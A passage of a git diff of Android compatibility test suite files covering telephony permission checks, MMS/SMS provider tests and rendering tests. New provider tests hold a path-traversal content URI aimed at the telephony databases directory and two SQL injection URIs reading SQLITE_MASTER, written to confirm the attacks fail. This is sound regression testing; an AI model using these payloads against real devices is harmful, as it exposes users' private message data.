private static final int MOCK_SIM_SLOT_2 = 1;
private static final int MOCK_SIM_SLOT_3 = 2;
+ public static final int MOCK_SIM_SLOT_MIN = 1;
public static final int MOCK_SIM_SLOT_MAX = 3;
/* Default value definition */
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 137a43b..475aede 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -33,6 +33,7 @@
import static org.junit.Assume.assumeTrue;
import android.annotation.Nullable;
+import android.app.AppOpsManager;
import android.app.UiAutomation;
import android.content.BroadcastReceiver;
import android.content.Context;
@@ -49,6 +50,7 @@
import android.os.Looper;
import android.os.ParcelUuid;
import android.os.PersistableBundle;
+import android.os.Process;
import android.telephony.CarrierConfigManager;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
@@ -63,6 +65,7 @@
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CarrierPrivilegeUtils;
import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -670,6 +673,7 @@
}
@Test
+ @ApiTest(apis = "android.telephony.SubscriptionManager#getSubscriptionsInGroup")
public void testSubscriptionGroupingWithPermission() throws Exception {
// Set subscription group with current sub Id.
List<Integer> subGroup = new ArrayList();
@@ -680,8 +684,14 @@
// Getting subscriptions in group.
List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
assertNotNull(infoList);
+ assertTrue(infoList.isEmpty());
+
+ // has the READ_PRIVILEGED_PHONE_STATE permission
+ infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+ (sm) -> sm.getSubscriptionsInGroup(uuid), READ_PRIVILEGED_PHONE_STATE);
+ assertNotNull(infoList);
assertEquals(1, infoList.size());
- assertNull(infoList.get(0).getGroupUuid());
+ assertEquals(uuid, infoList.get(0).getGroupUuid());
infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
(sm) -> sm.getSubscriptionsInGroup(uuid));
@@ -698,33 +708,40 @@
}
availableInfoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
(sm) -> sm.getAvailableSubscriptionInfoList());
- if (availableInfoList.size() > 1) {
- List<Integer> availableSubGroup = availableInfoList.stream()
- .map(info -> info.getSubscriptionId())
- .filter(subId -> subId != mSubId)
- .collect(Collectors.toList());
+ // has the OPSTR_READ_DEVICE_IDENTIFIERS permission
+ try {
+ setIdentifierAccess(true);
+ if (availableInfoList.size() > 1) {
+ List<Integer> availableSubGroup = availableInfoList.stream()
+ .map(info -> info.getSubscriptionId())
+ .filter(subId -> subId != mSubId)
+ .collect(Collectors.toList());
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+ (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+
+ infoList = mSm.getSubscriptionsInGroup(uuid);
+ assertNotNull(infoList);
+ assertEquals(availableInfoList.size(), infoList.size());
+
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
+ (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+ }
+
+ // Remove from subscription group with current sub Id.
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
- (sm) -> sm.addSubscriptionsIntoGroup(availableSubGroup, uuid));
+ (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
infoList = mSm.getSubscriptionsInGroup(uuid);
assertNotNull(infoList);
- assertEquals(availableInfoList.size(), infoList.size());
-
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
- (sm) -> sm.removeSubscriptionsFromGroup(availableSubGroup, uuid));
+ assertTrue(infoList.isEmpty());
+ } finally {
+ setIdentifierAccess(false);
}
-
- // Remove from subscription group with current sub Id.
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
- (sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
-
- infoList = mSm.getSubscriptionsInGroup(uuid);
- assertNotNull(infoList);
- assertTrue(infoList.isEmpty());
}
@Test
+ @ApiTest(apis = "android.telephony.SubscriptionManager#getSubscriptionsInGroup")
public void testAddSubscriptionIntoNewGroupWithPermission() throws Exception {
// Set subscription group with current sub Id.
List<Integer> subGroup = new ArrayList();
@@ -733,28 +750,33 @@
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
(sm) -> sm.addSubscriptionsIntoGroup(subGroup, uuid));
- // Getting subscriptions in group.
List<SubscriptionInfo> infoList = mSm.getSubscriptionsInGroup(uuid);
assertNotNull(infoList);
- assertEquals(1, infoList.size());
- assertNull(infoList.get(0).getGroupUuid());
+ assertTrue(infoList.isEmpty());
- infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
- (sm) -> sm.getSubscriptionsInGroup(uuid));
- assertNotNull(infoList);
- assertEquals(1, infoList.size());
- assertEquals(uuid, infoList.get(0).getGroupUuid());
+ // Getting subscriptions in group.
+ try {
+ setIdentifierAccess(true);
+ infoList = mSm.getSubscriptionsInGroup(uuid);
+ assertNotNull(infoList);
+ assertEquals(1, infoList.size());
+ assertEquals(uuid, infoList.get(0).getGroupUuid());
+ } finally {
+ setIdentifierAccess(false);
+ }
// Remove from subscription group with current sub Id.
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mSm,
(sm) -> sm.removeSubscriptionsFromGroup(subGroup, uuid));
- infoList = mSm.getSubscriptionsInGroup(uuid);
+ infoList = ShellIdentityUtils.invokeMethodWithShellPermissions(mSm,
+ (sm) -> sm.getSubscriptionsInGroup(uuid));
assertNotNull(infoList);
assertTrue(infoList.isEmpty());
}
@Test
+ @ApiTest(apis = "android.telephony.SubscriptionManager#setOpportunistic")
public void testSettingOpportunisticSubscription() throws Exception {
// Set subscription to be opportunistic. This should fail
// because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
@@ -762,6 +784,12 @@
mSm.setOpportunistic(true, mSubId);
fail();
} catch (SecurityException expected) {
+ // Caller permission should not affect accessing SIMINFO table.
+ assertNotEquals(expected.getMessage(),
+ "Access SIMINFO table from not phone/system UID");
+ // Caller does not have permission to manage mSubId.
+ assertEquals(expected.getMessage(),
+ "Caller requires permission on sub " + mSubId);
}
// Shouldn't crash.
@@ -1459,4 +1487,13 @@
return validCarrier && validNetworkType && validCapabilities;
}
+
+ private void setIdentifierAccess(boolean allowed) {
+ String op = AppOpsManager.OPSTR_READ_DEVICE_IDENTIFIERS;
+ AppOpsManager appOpsManager = InstrumentationRegistry.getContext().getSystemService(
+ AppOpsManager.class);
+ int mode = allowed ? AppOpsManager.MODE_ALLOWED : AppOpsManager.opToDefaultMode(op);
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ appOpsManager, (appOps) -> appOps.setUidMode(op, Process.myUid(), mode));
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3757b63..e2fdef7 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -109,6 +109,7 @@
import androidx.test.InstrumentationRegistry;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.CarrierPrivilegeUtils;
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -283,6 +284,7 @@
private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
+ private static final int RADIO_HAL_VERSION_2_0 = makeRadioVersion(2, 0);
static {
EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>();
@@ -1250,23 +1252,49 @@
private static final String ISO_COUNTRY_CODE_PATTERN = "[a-z]{2}";
@Test
+ @ApiTest(apis = "android.telephony.TelephonyManager#getNetworkCountryIso")
public void testGetNetworkCountryIso() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
String countryCode = mTelephonyManager.getNetworkCountryIso();
- assertTrue("Country code '" + countryCode + "' did not match "
- + ISO_COUNTRY_CODE_PATTERN,
- Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+ ServiceState serviceState = mTelephonyManager.getServiceState();
+ if (serviceState != null && (serviceState.getState()
+ == ServiceState.STATE_IN_SERVICE || serviceState.getState()
+ == ServiceState.STATE_EMERGENCY_ONLY)) {
+ assertTrue("Country code '" + countryCode + "' did not match "
+ + ISO_COUNTRY_CODE_PATTERN,
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+ } else {
+ assertTrue("Country code could be empty when out of service",
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+ || TextUtils.isEmpty(countryCode));
+ }
+
+ int[] allSubs = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mSubscriptionManager, (sm) -> sm.getActiveSubscriptionIdList());
+ for (int i : allSubs) {
+ countryCode = mTelephonyManager.getNetworkCountryIso(
+ SubscriptionManager.getSlotIndex(i));
+ serviceState = mTelephonyManager.createForSubscriptionId(i).getServiceState();
+
+ if (serviceState != null && (serviceState.getState()
+ == ServiceState.STATE_IN_SERVICE || serviceState.getState()
+ == ServiceState.STATE_EMERGENCY_ONLY)) {
+ assertTrue("Country code '" + countryCode + "' did not match "
+ + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
+ } else {
+ assertTrue("Country code could be empty when out of service",
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+ || TextUtils.isEmpty(countryCode));
+ }
+ }
for (int i = 0; i < mTelephonyManager.getPhoneCount(); i++) {
- SubscriptionInfo subscriptionInfo =
- mSubscriptionManager.getActiveSubscriptionInfoForSimSlotIndex(i);
- if (subscriptionInfo != null) {
- countryCode = mTelephonyManager.getNetworkCountryIso(i);
- assertTrue("Country code '" + countryCode + "' did not match "
- + ISO_COUNTRY_CODE_PATTERN + " for slot " + i,
- Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode));
- }
+ countryCode = mTelephonyManager.getNetworkCountryIso(i);
+ assertTrue("Country code must match " + ISO_COUNTRY_CODE_PATTERN + "or empty",
+ Pattern.matches(ISO_COUNTRY_CODE_PATTERN, countryCode)
+ || TextUtils.isEmpty(countryCode));
}
}
@@ -1274,19 +1302,20 @@
public void testSetSystemSelectionChannels() {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
List<RadioAccessSpecifier> channels;
try {
- channels = ShellIdentityUtils.invokeMethodWithShellPermissions(
- mTelephonyManager, TelephonyManager::getSystemSelectionChannels);
+ uiAutomation.adoptShellPermissionIdentity();
+ channels = mTelephonyManager.getSystemSelectionChannels();
} catch (IllegalStateException e) {
// TODO (b/189255895): Allow ISE once API is enforced in IRadio 2.1.
Log.d(TAG, "Skipping test since system selection channels are not available.");
return;
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
}
LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
- final UiAutomation uiAutomation =
- InstrumentationRegistry.getInstrumentation().getUiAutomation();
try {
uiAutomation.adoptShellPermissionIdentity();
// This is a oneway binder call, meaning we may return before the permission check
@@ -1303,20 +1332,29 @@
uiAutomation.dropShellPermissionIdentity();
}
+ uiAutomation.adoptShellPermissionIdentity();
+
// Try calling the API that doesn't provide feedback. We have no way of knowing if it
// succeeds, so just make sure nothing crashes.
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
+ mTelephonyManager.setSystemSelectionChannels(Collections.emptyList());
// Assert that we get back the value we set.
- assertEquals(Collections.emptyList(),
- ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
- TelephonyManager::getSystemSelectionChannels));
+ assertEquals(Collections.emptyList(), mTelephonyManager.getSystemSelectionChannels());
- // Reset the values back to the original.
- List<RadioAccessSpecifier> finalChannels = channels;
- ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
- tp -> tp.setSystemSelectionChannels(finalChannels));
+ try {
+ // Reset the values back to the original. Use callback to ensure we don't drop
+ // the shell permission until the original state is restored.
+ mTelephonyManager.setSystemSelectionChannels(channels,
+ getContext().getMainExecutor(), queue::offer);
+ Boolean result = queue.poll(1000, TimeUnit.MILLISECONDS);
+ if (result == null || !result) {
+ Log.e(TAG, "Invalid response when resetting initial system selection channels.");
+ }
+ } catch (InterruptedException e) {
+ Log.e(TAG, "Interrupted while resetting initial system selection channels.");
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
}
@Test
@@ -1729,6 +1767,10 @@
@Test
public void testRebootRadio() throws Throwable {
assumeTrue(hasFeature(PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS));
+ if (mRadioVersion <= RADIO_HAL_VERSION_2_0) {
+ Log.d(TAG, "Skipping test since rebootModem is not supported.");
+ return;
+ }
TestThread t = new TestThread(() -> {
Looper.prepare();
@@ -5053,8 +5095,12 @@
.adoptShellPermissionIdentity("android.permission.MODIFY_PHONE_STATE");
try {
mTelephonyManager.setSimSlotMapping(simSlotMapping);
- } catch (IllegalArgumentException e) {
- fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+ } catch (IllegalArgumentException | IllegalStateException e) {
+ // if HAL version is less than 2.0, vendors may not have implemented API,
+ // skipping the failure.
+ if (mRadioVersion >= RADIO_HAL_VERSION_2_0) {
+ fail("Not Expected Fail, Error in setSimSlotMapping :" + e);
+ }
}
List<UiccSlotMapping> slotMappingList = new ArrayList<>();
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
index 00e4dfe..fc5bbbd 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/MmsPartTest.java
@@ -29,6 +29,8 @@
import android.net.Uri;
import android.provider.Telephony;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -127,6 +129,20 @@
}
+ /**
+ * Verifies uri path outside the directory of mms parts is not allowed.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsProvider#update")
+ public void testMmsPartUpdate_invalidUri() {
+ ContentValues cv = new ContentValues();
+ Uri uri = Uri.parse("content://mms/resetFilePerm/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F.."
+ + "%2F..%2F..%2F..%2F..%2Fdata%2Fuser_de%2F0%2Fcom.android.providers.telephony"
+ + "%2Fdatabases");
+ int cursorUpdate = mContentResolver.update(uri, cv, null, null);
+ assertThat(cursorUpdate).isEqualTo(0);
+ }
+
@Test
public void testMmsPartDelete_canDeleteById() {
Uri mmsUri = insertIntoMmsTable(MMS_SUBJECT_ONE);
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
index dba15dc..87b08b9 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/SmsTest.java
@@ -22,16 +22,20 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.database.Cursor;
import android.net.Uri;
+
import android.provider.Telephony;
import androidx.test.filters.SmallTest;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.AfterClass;
import org.junit.Before;
import org.junit.BeforeClass;
@@ -327,5 +331,55 @@
DefaultSmsAppHelper.ensureDefaultSmsApp();
}
-}
+ /**
+ * Verifies sql injection is not allowed within a URI.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+ public void query_msgParameter_sqlInjection() {
+ Uri uriWithSqlInjection = Uri.parse("content://mms-sms/pending?protocol=sms&message=1 "
+ + "union select type,name,tbl_name,rootpage,sql,1,1,1,1,1 FROM SQLITE_MASTER; --");
+ Cursor uriWithSqlInjectionCur = mContentResolver.query(uriWithSqlInjection, null,
+ null, null, null);
+ assertNull(uriWithSqlInjectionCur);
+ }
+
+ /**
+ * Verifies query() returns non-null cursor when valid URI is passed to it.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+ public void query_msgParameter_withoutSqlInjection() {
+ Uri uriWithoutSqlInjection = Uri.parse("content://mms-sms/pending?protocol=sms&message=1");
+ Cursor uriWithoutSqlInjectionCur = mContentResolver.query(uriWithoutSqlInjection,
+ null, null, null, null);
+ assertNotNull(uriWithoutSqlInjectionCur);
+ }
+
+ /**
+ * Verifies sql injection is not allowed within a URI.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+ public void query_threadIdParameter_sqlInjection() {
+ Uri uriWithSqlInjection = Uri.parse("content://mms-sms/conversations?simple=true&"
+ + "thread_type=1 union select type,name,tbl_name,rootpage,sql FROM SQLITE_MASTER;; --");
+ Cursor uriWithSqlInjectionCur = mContentResolver.query(uriWithSqlInjection,
+ new String[]{"1","2","3","4","5"}, null, null, null);
+ assertNull(uriWithSqlInjectionCur);
+ }
+
+ /**
+ * Verifies query() returns non-null cursor when valid URI is passed to it.
+ */
+ @Test
+ @ApiTest(apis = "com.android.providers.telephony.MmsSmsProvider#query")
+ public void query_threadIdParameter_withoutSqlInjection() {
+ Uri uriWithoutSqlInjection = Uri.parse(
+ "content://mms-sms/conversations?simple=true&thread_type=1");
+ Cursor uriWithoutSqlInjectionCur = mContentResolver.query(uriWithoutSqlInjection,
+ new String[]{"1","2","3","4","5"}, null, null, null);
+ assertNotNull(uriWithoutSqlInjectionCur);
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
index b96293f..fba68c2 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
@@ -36,6 +36,7 @@
import android.content.Intent;
import android.graphics.drawable.Icon;
import android.net.Uri;
+import android.os.RemoteException;
import android.provider.Settings;
import android.text.Spannable;
import android.text.SpannableString;
@@ -55,7 +56,9 @@
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.uiautomator.By;
import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import com.android.compatibility.common.util.ApiTest;
import com.android.compatibility.common.util.ShellUtils;
import com.android.compatibility.common.util.SystemUtil;
@@ -87,28 +90,16 @@
UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
@Before
- public void setup() throws Exception {
+ public void setup() throws RemoteException {
Assume.assumeTrue(
ApplicationProvider.getApplicationContext().getPackageManager()
.hasSystemFeature(FEATURE_TOUCHSCREEN));
- workAroundNotificationShadeWindowIssue();
mSimpleTextClassifier = new SimpleTextClassifier();
sDevice.wakeUp();
dismissKeyguard();
closeSystemDialog();
}
- // Somehow there is a stale "NotificationShade" window from SysUI stealing the inputs.
- // The window is in the "exiting" state and seems never finish exiting.
- // The workaround here is to (hopefully) reset its state by expanding the notification panel
- // and collapsing it again.
- private void workAroundNotificationShadeWindowIssue() throws InterruptedException {
- ShellUtils.runShellCommand("cmd statusbar expand-notifications");
- Thread.sleep(1000);
- ShellUtils.runShellCommand("cmd statusbar collapse");
- Thread.sleep(1000);
- }
-
private void dismissKeyguard() {
ShellUtils.runShellCommand("wm dismiss-keyguard");
}
@@ -203,6 +194,18 @@
assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(1);
}
+ // TODO: re-use now. Refactor to have a folder/test class for toolbar
+ @Test
+ @ApiTest(apis = "android.view.View#startActionMode")
+ public void smartSelection_toolbarContainerNoContentDescription() throws Exception {
+ smartSelectionInternal();
+
+ UiObject2 toolbarContainer =
+ sDevice.findObject(By.res("android", "floating_popup_container"));
+ assertThat(toolbarContainer).isNotNull();
+ assertThat(toolbarContainer.getContentDescription()).isNull();
+ }
+
private void smartSelectionInternal() {
ActivityScenario<TextViewActivity> scenario = rule.getScenario();
AtomicInteger clickIndex = new AtomicInteger();
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
index f00f0b1..5330b02 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ExactCanvasTests.java
@@ -20,17 +20,20 @@
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.ColorSpace;
+import android.graphics.LinearGradient;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.Picture;
import android.graphics.PorterDuff;
import android.graphics.Rect;
+import android.graphics.Shader;
import android.graphics.drawable.NinePatchDrawable;
import android.uirendering.cts.R;
import android.uirendering.cts.bitmapcomparers.BitmapComparer;
import android.uirendering.cts.bitmapcomparers.ExactComparer;
import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.ColorVerifier;
import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
import android.uirendering.cts.bitmapverifiers.RectVerifier;
@@ -40,9 +43,13 @@
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Arrays;
+
@MediumTest
@RunWith(AndroidJUnit4.class)
public class ExactCanvasTests extends ActivityTestBase {
@@ -352,6 +359,138 @@
}
@Test
+ @ApiTest(apis = {"android.graphics.Canvas#drawVertices"})
+ public void testDrawVertices_doNotBlendColorsWithoutShader() {
+ BitmapVerifier verifier = new ColorVerifier(Color.BLUE);
+
+ createTest()
+ .addCanvasClient(
+ (canvas, width, height) -> {
+ float[] verts =
+ new float[] {
+ width, 0, width, height, 0, 0, 0, height,
+ };
+ int[] vertColors =
+ new int[] {Color.BLUE, Color.BLUE, Color.BLUE, Color.BLUE};
+ // Paint color should be ignored and not blend with vertex color.
+ Paint paint = new Paint();
+ paint.setColor(Color.RED);
+ canvas.drawVertices(
+ Canvas.VertexMode.TRIANGLE_STRIP,
+ verts.length,
+ verts,
+ 0,
+ null,
+ 0,
+ vertColors,
+ 0,
+ null,
+ 0,
+ 0,
+ paint);
+ })
+ .runWithVerifier(verifier);
+ }
+
+ @Test
+ @ApiTest(apis = {"android.graphics.Canvas#drawVertices"})
+ public void testDrawVertices_blendVertexAndShaderColors() {
+ Color vertexColor = Color.valueOf(0.8f, 0.6f, 0.4f);
+ Color shaderColor = Color.valueOf(0.5f, 0.5f, 0.5f);
+ // drawVertices should blend vertex color and shader color with kModulate.
+ Color modulatedColor =
+ Color.valueOf(
+ vertexColor.red() * shaderColor.red(),
+ vertexColor.green() * shaderColor.green(),
+ vertexColor.blue() * shaderColor.blue());
+ BitmapVerifier verifier = new ColorVerifier(modulatedColor.toArgb());
+
+ createTest()
+ .addCanvasClient(
+ (canvas, width, height) -> {
+ float[] verts =
+ new float[] {
+ width, 0, width, height, 0, 0, 0, height,
+ };
+ int[] vertColors = new int[4];
+ Arrays.fill(vertColors, vertexColor.toArgb());
+ int[] shaderColors = new int[2];
+ Arrays.fill(shaderColors, shaderColor.toArgb());
+
+ Paint paint = new Paint();
+ paint.setShader(
+ new LinearGradient(
+ 0,
+ 0,
+ width,
+ height,
+ shaderColors,
+ null,
+ Shader.TileMode.REPEAT));
+ canvas.drawVertices(
+ Canvas.VertexMode.TRIANGLE_STRIP,
+ verts.length,
+ verts,
+ 0,
+ verts,
+ 0,
+ vertColors,
+ 0,
+ null,
+ 0,
+ 0,
+ paint);
+ })
+ .runWithVerifier(verifier);
+ }
+
+ @Test
+ @ApiTest(apis = {"android.graphics.Canvas#drawVertices"})
+ public void testDrawVertices_ignoreShaderIfTexsNotSet() {
+ Color vertexColor = Color.valueOf(0.8f, 0.6f, 0.4f);
+ Color shaderColor = Color.valueOf(0.5f, 0.5f, 0.5f); // Should be ignored.
+ BitmapVerifier verifier = new ColorVerifier(vertexColor.toArgb());
+
+ createTest()
+ .addCanvasClient(
+ (canvas, width, height) -> {
+ float[] verts =
+ new float[] {
+ width, 0, width, height, 0, 0, 0, height,
+ };
+ int[] vertColors = new int[4];
+ Arrays.fill(vertColors, vertexColor.toArgb());
+ int[] shaderColors = new int[2];
+ Arrays.fill(shaderColors, shaderColor.toArgb());
+
+ Paint paint = new Paint();
+ paint.setShader(
+ new LinearGradient(
+ 0,
+ 0,
+ width,
+ height,
+ shaderColors,
+ null,
+ Shader.TileMode.REPEAT));
+ canvas.drawVertices(
+ Canvas.VertexMode.TRIANGLE_STRIP,
+ verts.length,
+ verts,
+ 0,
+ null,
+ 0,
+ vertColors,
+ 0,
+ null,
+ 0,
+ 0,
+ paint);
+ })
+ .runWithVerifier(verifier);
+ }
+
+ @Test
public void testColorLongs() {
createTest()
.addCanvasClient((canvas, width, height) -> {
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
index 86da6df..5c9d505 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RuntimeShaderTests.kt
@@ -35,13 +35,13 @@
import android.util.Half
import androidx.test.ext.junit.runners.AndroidJUnit4
import androidx.test.filters.MediumTest
+import com.android.compatibility.common.util.ApiTest
+import java.nio.ByteBuffer
+import java.nio.ByteOrder
import org.junit.Assert
import org.junit.Test
import org.junit.runner.RunWith
-import java.nio.ByteBuffer
-import java.nio.ByteOrder
-
@MediumTest
@RunWith(AndroidJUnit4::class)
class RuntimeShaderTests : ActivityTestBase() {
@@ -376,6 +376,37 @@
}
@Test
+ @ApiTest(apis = arrayOf("android.graphics.Shader#setLocalMatrix"))
+ fun testComposeShaderLocalMatrix() {
+ val shaderA = RuntimeShader(simpleRedShader)
+
+ // Create a runtime shader that calls a decal image shader with translation local matrix.
+ val bitmap = Bitmap.createBitmap(20, 20, Bitmap.Config.ARGB_8888, true)
+ bitmap.eraseColor(Color.GREEN)
+ val bitmapShader = BitmapShader(bitmap, Shader.TileMode.DECAL, Shader.TileMode.DECAL)
+ val matrix = Matrix()
+ matrix.setTranslate(100f, 0f)
+ bitmapShader.setLocalMatrix(matrix)
+ val shaderB = RuntimeShader(samplingShader)
+ shaderB.setInputShader("inputShader", bitmapShader)
+
+ // This compose shader will have a local matrix that compensates for the image shader's
+ // translation.
+ val composeShader = ComposeShader(shaderA, shaderB, BlendMode.SRC_OVER)
+ matrix.setTranslate(-100f, 0f)
+ composeShader.setLocalMatrix(matrix)
+
+ val paint = Paint()
+ paint.shader = composeShader
+
+ val rect = Rect(0, 0, 20, 20)
+
+ createTest().addCanvasClient(CanvasClient
+ { canvas: Canvas, width: Int, height: Int -> canvas.drawRect(rect, paint) },
+ true).runWithVerifier(RectVerifier(Color.WHITE, Color.GREEN, rect, 0))
+ }
+
+ @Test
fun testLinearColorIntrinsic() {
val colorA = Color.valueOf(0.75f, 0.25f, 0.0f, 1.0f)
val colorB = Color.valueOf(0.0f, 0.75f, 0.25f, 1.0f)
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 514c6fa..ba1205e 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -416,6 +416,7 @@
</activity>
<activity android:name="android.view.cts.InputEventInterceptTestActivity"
+ android:theme="@style/no_starting_window"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
@@ -423,6 +424,7 @@
</activity>
<activity android:name="android.view.cts.input.InputDeviceKeyLayoutMapTestActivity"
+ android:configChanges="keyboardHidden|navigation"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
diff --git a/tests/tests/view/res/values/themes.xml b/tests/tests/view/res/values/themes.xml
index e44b58a..6579108 100644
--- a/tests/tests/view/res/values/themes.xml
+++ b/tests/tests/view/res/values/themes.xml
@@ -20,4 +20,8 @@
<item name="android:textAppearanceLarge">@android:style/TextAppearance.Material.Large</item>
</style>
+ <style name="no_starting_window" parent="@android:style/Theme.DeviceDefault">
+ <item name="android:windowDisablePreview">true</item>
+ </style>
+
</resources>
\ No newline at end of file
diff --git a/tests/tests/voiceinteraction/Android.bp b/tests/tests/voiceinteraction/Android.bp
index b847f7f..e534c35 100644
--- a/tests/tests/voiceinteraction/Android.bp
+++ b/tests/tests/voiceinteraction/Android.bp
